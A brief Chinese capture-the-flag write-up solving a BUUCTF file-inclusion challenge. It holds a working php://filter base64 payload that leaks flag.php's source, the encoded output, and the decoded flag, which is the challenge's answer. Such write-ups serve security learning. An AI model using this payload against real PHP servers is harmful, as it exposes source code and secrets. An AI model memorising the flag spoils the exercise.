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链接：BUUCTF在线评测

文件包含想到 php://input  or  php://filter/  or  file:///

1.通过题目和访问链接，推测为文件包含
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2.php://input  file:/// 两种方法均无效，采用php://filter构造playload
file=php://filter/read=convert.base64-encode/resource=flag.php
需先通过base64加密，否则显示会和原先一样

3.得到base64编码后的flag.php源代码
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZGE3Y2E3N2QtYmJjYS00ZmUyLTliMzktYzllMzNhNTMwY2UwfQo

4.base64解码get flag
<?php
echo "Can you find out the flag?";
//flag{da7ca77d-bbca-4fe2-9b39-c9e33a530ce0
}
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